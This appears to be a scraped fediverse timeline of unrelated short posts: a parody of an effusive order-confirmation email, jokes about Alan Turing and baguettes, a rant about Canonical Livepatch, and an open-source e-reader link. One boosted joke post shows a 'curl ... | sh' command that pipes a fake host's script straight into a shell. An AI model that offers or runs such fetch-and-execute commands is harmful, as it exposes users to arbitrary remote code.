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All that just to show you that we’re excited for you we’re glad you’re with us. 😊

And we plan on providing you with even more awesome things.

Stay up to date with us by marking us as important in your inbox so you never miss an update!

You’ll actually get one soon regarding your order, so be on the lookout!

Thank you again and have an awesome day!

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YES! We’re so excited to welcome you to our cosy tribe of $PRODUCT lovers, $NAME!

The moment we saw you placed your order we literally rang our office bell and started chanting your name.

Seriously, the office went wild. The marketing team slapped each other high-fives. Alice from accounting sprinted up and down the aisle clapping. And even James from HR smiled - and James never smiles. (...unless he’s with a $PRODUCT of course!)

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Actual email I just received after placing an online order (placeholders used to avoid doxxing myself &/| advertising this company/product):

Is there a place in the fediverse where I can put longer writeups? I've seen people do the "tootstorm" thing but I'd rather write without worrying about fitting things into that constrained format.

Advice and boosts welcome.

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Today's gender is the sound of contented purring.

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fucked up how Alan Turing, Computer Daddy, would've fit in around here

apparently he wouldn't shut up about how gay he was, and mentioned it in casual conversation

in 1936 he invented a computer that, get this, can do everything any computer built since then could do. everything. yes, it can mine bitcoin. yes, it can run Doom. it could run all of Amazon's backend. just very slowly, of course.

Computer Daddy was hella gay

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Please remember:
If your mask does not cover both your nose and mouth, you are NOT wearing a mask

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Nerdy rant about Canonical's Livepatch 

"Community (read: not paying) Users of the Canonical Livepatch Service who want to eliminate the small chance of being randomly chosen as a canary should enroll in the Ubuntu Advantage program (starting at $12/month)." (Ubuntu docs)

A friend translated it to:

"this is a dangerous neighborhood, maybe you walk around one day rendering video, maybe your kernel brick because of 'accident'. Better to pay small fee for ... ghow do i say... protection, no?"

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absolutely losing my fucking mind at this video from the wikipedia page for the physics engine "phyz"

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Optical Illusions 

There are no yellow pixels in this image.

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Chopsticks? Baguettes.
Drumsticks? Baguettes.
Magic wand? Baguette.
Orchestra conductor’s baton? Baguette.
Divining rod? Baguette.
Incense? Baguette.
Cane? Baguette.
Rectangular gemstone? Baguette.
Legs? Baguettes.
Authoritarianism? Leading with a baguette.

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it's so depressing how cringe every new detail about 2077 is due to being made by a room of racist anti lgbtq white dudes lmao

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open source e-reader in a world full of amazon-controlled e-readers seems like a good move

github.com/joeycastillo/The-Op

What do you call an underwhelming leftist? 

So-socialist

"In a situation like this when we confront something unfair or unethical, we must persist because ethics is priceless."

- my landlord praising me over talking the repair company out of charging him for a repair they didn't do.

psyberman boosted

install my super trustworthy tool by copying this code in your terminal:

curl -s http://legit.​i/swear | sh

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🤍💖💙🖤🤎❤️🧡💛💚💙💜
Newer version of the 6-colour pride flag with a 5-colour chevron on the left side, including trans colours and POC colours. I like this version.

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Assorted Paupers

Private instance, sign ups closed.